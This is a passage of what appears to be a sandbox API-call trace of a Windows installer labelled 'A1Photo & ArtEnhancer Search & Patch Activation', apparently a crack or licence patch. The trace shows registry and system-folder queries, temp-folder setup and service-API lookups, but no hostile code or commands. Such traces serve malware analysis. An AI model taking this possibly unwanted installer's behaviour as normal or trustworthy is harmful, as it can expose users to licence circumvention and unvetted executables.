wParam=0x1, lParam=0x70042) returned 0x1 [0259.550] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x6, wParam=0x1, lParam=0x70042) returned 0x0 [0259.550] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x8, wParam=0x2024a, lParam=0x0) returned 0x0 [0259.550] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0259.550] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0259.550] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0259.550] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0259.550] PostMessageA (hWnd=0x2024a, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 1 [0259.551] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x7, wParam=0x40050, lParam=0x0) returned 0x0 [0259.551] SendMessageA (hWnd=0x90168, Msg=0x147, wParam=0x0, lParam=0x0) returned 0x6 [0259.551] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x147, wParam=0x0, lParam=0x0) returned 0x6 [0259.551] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x147, wParam=0x0, lParam=0x0) returned 0x6 [0259.551] SendMessageA (hWnd=0x90168, Msg=0x150, wParam=0x6, lParam=0x0) returned 0x0 [0259.551] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x150, wParam=0x6, lParam=0x0) returned 0x0 [0259.551] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x150, wParam=0x6, lParam=0x0) returned 0x0 [0259.551] DestroyWindow (hWnd=0x70042) returned 1 [0259.551] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0259.551] SendMessageA (hWnd=0x70042, Msg=0x80, wParam=0x1, lParam=0x0) returned 0x0 [0259.551] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x80, wParam=0x1, lParam=0x0) returned 0x0 [0259.552] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0259.552] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0259.552] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0259.552] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0259.553] RemovePropA (hWnd=0x70042, lpString=0xc167) returned 0x38ef44 [0259.553] RemovePropA (hWnd=0x70042, lpString=0xc168) returned 0x38ef44 [0259.553] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x7024e, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0259.553] RemovePropA (hWnd=0x7024e, lpString=0xc167) returned 0x390d80 [0259.553] RemovePropA (hWnd=0x7024e, lpString=0xc168) returned 0x390d80 [0259.553] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0259.553] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0259.553] RemovePropA (hWnd=0x90168, lpString=0xc167) returned 0x3909a4 [0259.553] RemovePropA (hWnd=0x90168, lpString=0xc168) returned 0x3909a4 [0259.553] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0259.553] RemovePropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0259.553] RemovePropA (hWnd=0x40050, lpString=0xc168) returned 0x39073c [0259.553] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0259.553] RemovePropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0259.553] RemovePropA (hWnd=0xa0060, lpString=0xc168) returned 0x390470 [0259.553] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x7024e, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0259.554] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x1 [0259.554] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x1 [0259.555] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0259.555] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0259.555] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0259.556] DeleteObject (ho=0xd100186) returned 1 [0259.556] DeleteObject (ho=0xe050178) returned 1 [0259.556] DeleteObject (ho=0x2a100187) returned 1 [0259.556] DeleteObject (ho=0xf100188) returned 1 [0259.556] DeleteObject (ho=0x260a06d8) returned 1 [0259.556] GetWindowsDirectoryA (in: lpBuffer=0x18fd74, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0259.556] GetSystemDirectoryA (in: lpBuffer=0x18fd74, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0259.556] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x752b0000 [0259.557] GetProcAddress (hModule=0x752b0000, lpProcName="GetSystemWow64DirectoryA") returned 0x75342834 [0259.557] GetSystemWow64DirectoryA (in: lpBuffer=0x18fd70, uSize=0x105 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0259.557] GetEnvironmentVariableA (in: lpName="SystemDrive", lpBuffer=0x3910a4, nSize=0xff | out: lpBuffer="") returned 0x2 [0259.557] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion", ulOptions=0x0, samDesired=0x1, phkResult=0x18fe74 | out: phkResult=0x18fe74*=0x114) returned 0x0 [0259.557] RegQueryValueExA (in: hKey=0x114, lpValueName="ProgramFilesDir", lpReserved=0x0, lpType=0x18fe48, lpData=0x0, lpcbData=0x18fe44*=0x0 | out: lpType=0x18fe48*=0x1, lpData=0x0, lpcbData=0x18fe44*=0x17) returned 0x0 [0259.557] RegQueryValueExA (in: hKey=0x114, lpValueName="ProgramFilesDir", lpReserved=0x0, lpType=0x18fe48, lpData=0x3910b4, lpcbData=0x18fe44*=0x17 | out: lpType=0x18fe48*=0x1, lpData="C:\\Program Files (x86)", lpcbData=0x18fe44*=0x17) returned 0x0 [0259.557] RegCloseKey (hKey=0x114) returned 0x0 [0259.558] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion", ulOptions=0x0, samDesired=0x1, phkResult=0x18fe74 | out: phkResult=0x18fe74*=0x114) returned 0x0 [0259.558] RegQueryValueExA (in: hKey=0x114, lpValueName="CommonFilesDir", lpReserved=0x0, lpType=0x18fe48, lpData=0x0, lpcbData=0x18fe44*=0x0 | out: lpType=0x18fe48*=0x1, lpData=0x0, lpcbData=0x18fe44*=0x24) returned 0x0 [0259.558] RegQueryValueExA (in: hKey=0x114, lpValueName="CommonFilesDir", lpReserved=0x0, lpType=0x18fe48, lpData=0x3910d8, lpcbData=0x18fe44*=0x24 | out: lpType=0x18fe48*=0x1, lpData="C:\\Program Files (x86)\\Common Files", lpcbData=0x18fe44*=0x24) returned 0x0 [0259.558] RegCloseKey (hKey=0x114) returned 0x0 [0259.558] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion", ulOptions=0x0, samDesired=0x101, phkResult=0x18fe74 | out: phkResult=0x18fe74*=0x114) returned 0x0 [0259.558] RegQueryValueExA (in: hKey=0x114, lpValueName="ProgramFilesDir", lpReserved=0x0, lpType=0x18fe48, lpData=0x0, lpcbData=0x18fe44*=0x0 | out: lpType=0x18fe48*=0x1, lpData=0x0, lpcbData=0x18fe44*=0x11) returned 0x0 [0259.558] RegQueryValueExA (in: hKey=0x114, lpValueName="ProgramFilesDir", lpReserved=0x0, lpType=0x18fe48, lpData=0x391108, lpcbData=0x18fe44*=0x11 | out: lpType=0x18fe48*=0x1, lpData="C:\\Program Files", lpcbData=0x18fe44*=0x11) returned 0x0 [0259.558] RegCloseKey (hKey=0x114) returned 0x0 [0259.558] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion", ulOptions=0x0, samDesired=0x101, phkResult=0x18fe74 | out: phkResult=0x18fe74*=0x114) returned 0x0 [0259.558] RegQueryValueExA (in: hKey=0x114, lpValueName="CommonFilesDir", lpReserved=0x0, lpType=0x18fe48, lpData=0x0, lpcbData=0x18fe44*=0x0 | out: lpType=0x18fe48*=0x1, lpData=0x0, lpcbData=0x18fe44*=0x1e) returned 0x0 [0259.558] RegQueryValueExA (in: hKey=0x114, lpValueName="CommonFilesDir", lpReserved=0x0, lpType=0x18fe48, lpData=0x38ee4c, lpcbData=0x18fe44*=0x1e | out: lpType=0x18fe48*=0x1, lpData="C:\\Program Files\\Common Files", lpcbData=0x18fe44*=0x1e) returned 0x0 [0259.559] RegCloseKey (hKey=0x114) returned 0x0 [0259.559] SHGetKnownFolderPath (in: rfid=0x49cd48, param_2=0x8000, hToken=0x0, ppszPath=0x18fe9c | out: ppszPath=0x18fe9c*="C:\\Users\\kEecfMwgj\\AppData\\Local\\Programs") returned 0x0 [0259.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\kEecfMwgj\\AppData\\Local\\Programs", cchWideChar=41, lpMultiByteStr=0x18f658, cbMultiByte=2048, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\kEecfMwgj\\AppData\\Local\\Programsù\x18", lpUsedDefaultChar=0x0) returned 41 [0259.641] CoTaskMemFree (pv=0x5e29f8) [0259.641] SHGetKnownFolderPath (in: rfid=0x49cd58, param_2=0x8000, hToken=0x0, ppszPath=0x18fe9c | out: ppszPath=0x18fe9c*="C:\\Users\\kEecfMwgj\\AppData\\Local\\Programs\\Common") returned 0x0 [0259.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\kEecfMwgj\\AppData\\Local\\Programs\\Common", cchWideChar=48, lpMultiByteStr=0x18f658, cbMultiByte=2048, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\kEecfMwgj\\AppData\\Local\\Programs\\Common»§óv\x08\x0e^", lpUsedDefaultChar=0x0) returned 48 [0259.648] CoTaskMemFree (pv=0x5e2a80) [0259.648] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x101, phkResult=0x18fe74 | out: phkResult=0x18fe74*=0x124) returned 0x0 [0259.648] RegQueryValueExA (in: hKey=0x124, lpValueName="RegisteredOwner", lpReserved=0x0, lpType=0x18fe50, lpData=0x0, lpcbData=0x18fe4c*=0x0 | out: lpType=0x18fe50*=0x1, lpData=0x0, lpcbData=0x18fe4c*=0x8) returned 0x0 [0259.648] RegQueryValueExA (in: hKey=0x124, lpValueName="RegisteredOwner", lpReserved=0x0, lpType=0x18fe50, lpData=0x3911ec, lpcbData=0x18fe4c*=0x8 | out: lpType=0x18fe50*=0x1, lpData="t9vI8CM", lpcbData=0x18fe4c*=0x8) returned 0x0 [0259.649] RegQueryValueExA (in: hKey=0x124, lpValueName="RegisteredOrganization", lpReserved=0x0, lpType=0x18fe50, lpData=0x0, lpcbData=0x18fe4c*=0x0 | out: lpType=0x18fe50*=0x1, lpData=0x0, lpcbData=0x18fe4c*=0x14) returned 0x0 [0259.649] RegQueryValueExA (in: hKey=0x124, lpValueName="RegisteredOrganization", lpReserved=0x0, lpType=0x18fe50, lpData=0x391200, lpcbData=0x18fe4c*=0x14 | out: lpType=0x18fe50*=0x1, lpData="dtkCQ3 DOuZrvfqUDBR", lpcbData=0x18fe4c*=0x14) returned 0x0 [0259.649] RegCloseKey (hKey=0x124) returned 0x0 [0259.649] GetEnvironmentVariableA (in: lpName="TMP", lpBuffer=0x391220, nSize=0xff | out: lpBuffer="") returned 0x24 [0259.650] GetFileAttributesA (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp")) returned 0x2010 [0259.650] GetFullPathNameA (in: lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp", nBufferLength=0x1000, lpBuffer=0x18ede4, lpFilePart=0x18ede0 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp", lpFilePart=0x18ede0*="Temp") returned 0x24 [0259.650] GetFileAttributesA (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\is-Q4RII.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\is-q4rii.tmp")) returned 0xffffffff [0259.650] GetLastError () returned 0x2 [0259.650] SetLastError (dwErrCode=0x2) [0259.650] CreateDirectoryA (lpPathName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\is-Q4RII.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\is-q4rii.tmp"), lpSecurityAttributes=0x0) returned 1 [0259.651] CreateDirectoryA (lpPathName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\is-Q4RII.tmp\\_isetup" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\is-q4rii.tmp\\_isetup"), lpSecurityAttributes=0x0) returned 1 [0259.651] FindResourceA (hModule=0x400000, lpName="HELPER_EXE_AMD64", lpType=0xa) returned 0x4ae898 [0259.651] LoadResource (hModule=0x400000, hResInfo=0x4ae898) returned 0x4c09f0 [0259.651] SizeofResource (hModule=0x400000, hResInfo=0x4ae898) returned 0x1800 [0259.651] LockResource (hResData=0x4c09f0) returned 0x4c09f0 [0259.651] CreateFileA (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\is-Q4RII.tmp\\_isetup\\_setup64.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\is-q4rii.tmp\\_isetup\\_setup64.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0259.652] WriteFile (in: hFile=0x124, lpBuffer=0x4c09f0*, nNumberOfBytesToWrite=0x1800, lpNumberOfBytesWritten=0x18fdb4, lpOverlapped=0x0 | out: lpBuffer=0x4c09f0*, lpNumberOfBytesWritten=0x18fdb4*=0x1800, lpOverlapped=0x0) returned 1 [0259.653] CloseHandle (hObject=0x124) returned 1 [0259.654] FreeResource (hResData=0x4ae898) returned 0 [0259.654] GetSystemDirectoryA (in: lpBuffer=0x18fd60, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0259.654] GetFileVersionInfoSizeA (in: lptstrFilename="C:\\Windows\\system32\\shfolder.dll", lpdwHandle=0x18fe1c | out: lpdwHandle=0x18fe1c) returned 0x774 [0259.794] GetFileVersionInfoA (in: lptstrFilename="C:\\Windows\\system32\\shfolder.dll", dwHandle=0x0, dwLen=0x774, lpData=0x391420 | out: lpData=0x391420) returned 1 [0259.795] VerQueryValueA (in: pBlock=0x391420, lpSubBlock="\\", lplpBuffer=0x18fe14, puLen=0x18fe10 | out: lplpBuffer=0x18fe14*=0x391448, puLen=0x18fe10) returned 1 [0259.795] GetSystemDirectoryA (in: lpBuffer=0x18fd60, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0259.795] SetErrorMode (uMode=0x8000) returned 0x1 [0259.795] LoadLibraryA (lpLibFileName="C:\\Windows\\system32\\shell32.dll") returned 0x75be0000 [0259.796] SetErrorMode (uMode=0x1) returned 0x8000 [0259.796] SetErrorMode (uMode=0x8000) returned 0x1 [0259.796] LoadLibraryA (lpLibFileName="C:\\Windows\\system32\\shfolder.dll") returned 0x749e0000 [0259.798] SetErrorMode (uMode=0x1) returned 0x8000 [0259.798] GetProcAddress (hModule=0x749e0000, lpProcName="SHGetFolderPathA") returned 0x749e1528 [0259.798] GetVersion () returned 0x1db10106 [0259.798] GetSystemDirectoryA (in: lpBuffer=0x18fd74, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0259.798] LoadLibraryA (lpLibFileName="C:\\Windows\\system32\\Rstrtmgr.dll") returned 0x749b0000 [0260.716] GetProcAddress (hModule=0x749b0000, lpProcName="RmStartSession") returned 0x749b474b [0260.716] GetProcAddress (hModule=0x749b0000, lpProcName="RmRegisterResources") returned 0x749b42f6 [0260.716] GetProcAddress (hModule=0x749b0000, lpProcName="RmGetList") returned 0x749b435b [0260.716] GetProcAddress (hModule=0x749b0000, lpProcName="RmShutdown") returned 0x749b43ba [0260.717] GetProcAddress (hModule=0x749b0000, lpProcName="RmRestart") returned 0x749b4413 [0260.717] GetProcAddress (hModule=0x749b0000, lpProcName="RmEndSession") returned 0x749b4979 [0260.717] RmStartSession () returned 0x0 [0260.968] VirtualAlloc (lpAddress=0x394000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x394000 [0260.969] VirtualAlloc (lpAddress=0x398000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x398000 [0260.969] LoadCursorA (hInstance=0x0, lpCursorName=0x7f89) returned 0x1001f [0260.970] VirtualAlloc (lpAddress=0x39c000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x39c000 [0260.970] VirtualAlloc (lpAddress=0x3a0000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3a0000 [0260.971] VirtualAlloc (lpAddress=0x3a4000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3a4000 [0260.972] VirtualAlloc (lpAddress=0x3a8000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3a8000 [0260.972] VirtualAlloc (lpAddress=0x3ac000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3ac000 [0260.974] VirtualAlloc (lpAddress=0x3b0000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3b0000 [0260.974] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x75be0000 [0260.974] GetProcAddress (hModule=0x75be0000, lpProcName="SHChangeNotify") returned 0x75c37965 [0260.974] LoadLibraryA (lpLibFileName="User32.dll") returned 0x76860000 [0260.975] GetProcAddress (hModule=0x76860000, lpProcName="GetSystemMetrics") returned 0x76877d2f [0260.975] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x752b0000 [0260.975] GetProcAddress (hModule=0x752b0000, lpProcName="GetFileAttributesA") returned 0x752c53cc [0260.975] GetProcAddress (hModule=0x752b0000, lpProcName="SetFileAttributesA") returned 0x752deca3 [0260.975] GetProcAddress (hModule=0x752b0000, lpProcName="CreateFileA") returned 0x752c537e [0260.976] GetProcAddress (hModule=0x752b0000, lpProcName="CloseHandle") returned 0x752c13f0 [0260.976] GetProcAddress (hModule=0x752b0000, lpProcName="SetFileTime") returned 0x752dec8b [0260.976] VirtualAlloc (lpAddress=0x3b4000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3b4000 [0260.976] VirtualAlloc (lpAddress=0x3b8000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3b8000 [0260.977] VirtualAlloc (lpAddress=0x3bc000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3bc000 [0260.978] VirtualAlloc (lpAddress=0x3c0000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3c0000 [0260.978] GetProcAddress (hModule=0x752b0000, lpProcName="GetVolumeInformationA") returned 0x752e6d9b [0260.978] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76a60000 [0260.978] GetProcAddress (hModule=0x76a60000, lpProcName="OpenSCManagerA") returned 0x76a72bd8 [0260.979] GetProcAddress (hModule=0x76a60000, lpProcName="OpenServiceA") returned 0x76a72bf0 [0260.979] GetProcAddress (hModule=0x76a60000, lpProcName="CloseServiceHandle") returned 0x76a7369c [0260.979] GetProcAddress (hModule=0x76a60000, lpProcName="CreateServiceA") returned 0x76aa3158 [0260.979] GetProcAddress (hModule=0x76a60000, lpProcName="DeleteService") returned 0x76a8715c [0260.979] GetProcAddress (hModule=0x76a60000, lpProcName="StartServiceA") returned 0x76aa3543 [0260.979] GetProcAddress (hModule=0x76a60000, lpProcName="ControlService") returned 0x76a87144 [0260.980] GetProcAddress (hModule=0x76a60000, lpProcName="QueryServiceStatus") returned 0x76a72a86 [0260.980] GetProcAddress (hModule=0x76a60000, lpProcName="QueryServiceStatus") returned 0x76a72a86 [0260.980] GetProcAddress (hModule=0x752b0000, lpProcName="GetLastError") returned 0x752c11c0 [0260.980] VirtualAlloc (lpAddress=0x3c4000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3c4000 [0260.981] VirtualAlloc (lpAddress=0x3c8000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3c8000 [0260.981] VirtualAlloc (lpAddress=0x3cc000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3cc000 [0260.982] VirtualAlloc (lpAddress=0x2d8000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x2d8000 [0260.982] VirtualAlloc (lpAddress=0x2dc000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x2dc000 [0260.983] VirtualAlloc (lpAddress=0x2e0000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x2e0000 [0260.984] VirtualAlloc (lpAddress=0x2e4000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x2e4000 [0260.984] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x1) returned 0x2c70000 [0260.985] VirtualAlloc (lpAddress=0x2c70000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x2c70000 [0260.985] VirtualAlloc (lpAddress=0x2c74000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x2c74000 [0260.986] VirtualAlloc (lpAddress=0x2c78000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x2c78000 [0260.986] VirtualAlloc (lpAddress=0x2c7c000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x2c7c000 [0260.987] VirtualAlloc (lpAddress=0x2c80000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x2c80000 [0260.992] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd58 | out: OldValue=0x18fd58*=0x0) returned 1 [0260.992] GetFileAttributesA (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.dat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\a1photo-&-art-enhancer_search&patch_activation.dat")) returned 0xffffffff [0260.992] GetLastError () returned 0x2 [0260.992] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0260.992] SetLastError (dwErrCode=0x2) [0260.992] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mediachance\\PhotoArtUpscaler\\Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x18fdc4 | out: phkResult=0x18fdc4*=0x0) returned 0x2 [0260.993] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mediachance\\PhotoArtUpscaler\\Settings", ulOptions=0x0, samDesired=0x1, phkResult=0x18fdc4 | out: phkResult=0x18fdc4*=0x0) returned 0x2 [0260.993] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mediachance\\PhotoArtUpscaler\\Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x18fdc4 | out: phkResult=0x18fdc4*=0x0) returned 0x2 [0260.993] GetModuleHandleA (lpModuleName="user32.dll") returned 0x76860000 [0260.993] GetProcAddress (hModule=0x76860000, lpProcName="ShutdownBlockReasonDestroy") returned 0x768da88e [0260.993] ShutdownBlockReasonDestroy (hWnd=0x2024a) returned 1 [0260.994] GetModuleHandleA (lpModuleName="user32.dll") returned 0x76860000 [0260.994] GetProcAddress (hModule=0x76860000, lpProcName="ShutdownBlockReasonCreate") returned 0x768da84e [0260.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c83a84, cbMultiByte=71, lpWideCharStr=0x18de98, cchWideChar=4095 | out: lpWideCharStr="Installing MediaChance A1Photo & ArtEnhancer Search & Patch Activation.") returned 71 [0260.994] ShutdownBlockReasonCreate (hWnd=0x2024a, pwszReason="Installing MediaChance A1Photo & ArtEnhancer Search & Patch Activation.") returned 1 [0260.995] FindResourceA (hModule=0x400000, lpName="TUIStateForm", lpType=0xa) returned 0x0 [0260.995] FindResourceA (hModule=0x400000, lpName="TSetupForm", lpType=0xa) returned 0x0 [0260.995] FindResourceA (hModule=0x400000, lpName="TMainForm", lpType=0xa) returned 0x4ae8b8 [0260.995] FreeResource (hResData=0x4ae8b8) returned 0 [0260.995] FindResourceA (hModule=0x400000, lpName="TMainForm", lpType=0xa) returned 0x4ae8b8 [0260.995] LoadResource (hModule=0x400000, hResInfo=0x4ae8b8) returned 0x4c7d00 [0260.995] SizeofResource (hModule=0x400000, hResInfo=0x4ae8b8) returned 0x125 [0260.995] LockResource (hResData=0x4c7d00) returned 0x4c7d00 [0260.995] VirtualAlloc (lpAddress=0x2c84000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x2c84000 [0260.996] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0260.996] GetClassInfoA (in: hInstance=0x400000, lpClassName="TMainForm", lpWndClass=0x18fb10 | out: lpWndClass=0x18fb10) returned 0 [0260.996] RegisterClassA (lpWndClass=0x18faa8) returned 0x6ec1d7 [0260.997] CreateWindowExA (dwExStyle=0x0, lpClassName="TMainForm", lpWindowName="MainForm", dwStyle=0x6cf0000, X=1, Y=95, nWidth=320, nHeight=240, hWndParent=0x2024a, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x80042 [0260.998] SetWindowLongA (hWnd=0x80042, nIndex=-4, dwNewLong=2297813) returned 4274892 [0260.998] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0260.998] SetPropA (hWnd=0x80042, lpString=0xc167, hData=0x2c83a64) returned 1 [0260.998] SetPropA (hWnd=0x80042, lpString=0xc168, hData=0x2c83a64) returned 1 [0260.998] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x24, wParam=0x0, lParam=0x18f648) returned 0x0 [0260.998] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x81, wParam=0x0, lParam=0x18f63c) returned 0x1 [0260.998] SetMenu (hWnd=0x80042, hMenu=0x0) returned 1 [0260.999] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x46, wParam=0x0, lParam=0x18f3bc) returned 0x0 [0260.999] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x83, wParam=0x1, lParam=0x18f394) returned 0x0 [0261.000] IsIconic (hWnd=0x80042) returned 0 [0261.000] GetWindowRect (in: hWnd=0x80042, lpRect=0x18f170 | out: lpRect=0x18f170) returned 1 [0261.000] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.000] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x47, wParam=0x0, lParam=0x18f3bc) returned 0x0 [0261.000] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x3, wParam=0x0, lParam=0x7d0009) returned 0x0 [0261.000] IsIconic (hWnd=0x80042) returned 0 [0261.000] GetWindowRect (in: hWnd=0x80042, lpRect=0x18ed94 | out: lpRect=0x18ed94) returned 1 [0261.000] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.000] IsIconic (hWnd=0x80042) returned 0 [0261.000] GetWindowRect (in: hWnd=0x80042, lpRect=0x18ed6c | out: lpRect=0x18ed6c) returned 1 [0261.000] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.000] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x5, wParam=0x0, lParam=0xca0130) returned 0x0 [0261.000] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.000] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.000] IsIconic (hWnd=0x80042) returned 0 [0261.000] GetClientRect (in: hWnd=0x80042, lpRect=0x18ed80 | out: lpRect=0x18ed80) returned 1 [0261.000] 